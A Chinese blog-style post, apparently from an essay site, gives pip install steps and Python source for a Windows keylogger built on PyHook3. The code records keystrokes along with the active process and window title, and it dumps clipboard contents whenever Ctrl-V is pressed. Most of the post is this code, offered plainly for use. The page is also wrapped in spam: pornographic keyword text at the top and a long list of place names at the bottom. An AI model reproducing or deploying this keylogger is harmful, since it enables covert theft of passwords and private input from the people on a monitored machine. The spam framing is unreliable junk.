国产精品天干天干,亚洲毛片在线,日韩gay小鲜肉啪啪18禁,女同Gay自慰喷水

歡迎光臨散文網(wǎng) 會員登陸 & 注冊

鍵盤記錄PyHook

2022-05-11 21:57 作者:Seoul十大杰出校友  | 我要投稿

安裝依賴包

pip install pypiwin32

pip3 install PyHook3

若報錯,看看是不是 swig.exe找不到(下載swigwin解壓配置環(huán)境變量即可)

PyHook3 的下載與安裝_星空ホシゾラ的博客-CSDN博客_pyhook下載




from ctypes import *
import pythoncom
import PyHook3 as pyHook
import win32clipboard

user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None


def get_current_process():
? ?# get a handle to the foreground window
? ?hwnd = user32.GetForegroundWindow()

? ?# find the process ID
? ?pid = c_ulong(0)
? ?user32.GetWindowThreadProcessId(hwnd, byref(pid))

? ?# store the current process ID
? ?process_id = "%d" % pid.value

? ?# grab the executable
? ?executable = create_string_buffer(b"\x00" * 512)
? ?h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)

? ?psapi.GetModuleBaseNameA(h_process, None, byref(executable), 512)

? ?# now read it's title
? ?window_title = create_string_buffer(b"\x00" * 512)
? ?length = user32.GetWindowTextA(hwnd, byref(window_title), 512)

? ?# print out the header if we're in the right process
? ?print()
? ?print("[ PID: %s - %s - %s ]" % (
? ?process_id, executable.value.decode(encoding='GB2312'), window_title.value.decode(encoding='GB2312')))

? ?# close handles
? ?kernel32.CloseHandle(hwnd)
? ?kernel32.CloseHandle(h_process)


def KeyStroke(event):
? ?global current_window

? ?# check to see if target changed windows
? ?if event.WindowName != current_window:
? ? ? ?current_window = event.WindowName
? ? ? ?get_current_process()

? ?# if they pressed a standard key
? ?if 32 < event.Ascii < 127:
? ? ? ?print(chr(event.Ascii))
? ?else:
? ? ? ?# if [Ctrl-V], get the value on the clipboard
? ? ? ?# added by Dan Frisch 2014
? ? ? ?if event.Key == "V":
? ? ? ? ? ?win32clipboard.OpenClipboard()A
? ? ? ? ? ?pasted_value = win32clipboard.GetClipboardData()
? ? ? ? ? ?win32clipboard.CloseClipboard()
? ? ? ? ? ?print("[PASTE] - %s" % pasted_value)

? ? ? ?else:
? ? ? ? ? ?print("[%s]" % event.Key)

? ?# pass execution to next hook registered
? ?return True

鍵盤記錄PyHook的評論 (共 條)

分享到微博請遵守國家法律
登封市| 隆德县| 红原县| 乌兰浩特市| 同心县| 清新县| 乐山市| 昭平县| 宁都县| 镇康县| 泉州市| 乌拉特后旗| 海晏县| 宜州市| 克拉玛依市| 百色市| 绥化市| 甘孜| 从江县| 邵阳市| 镇雄县| 揭西县| 昭通市| 余姚市| 泾阳县| 邳州市| 桂林市| 剑河县| 凤山市| 准格尔旗| 长岭县| 东平县| 云和县| 景德镇市| 宜君县| 景泰县| 洞头县| 栖霞市| 浠水县| 汶上县| 正镶白旗|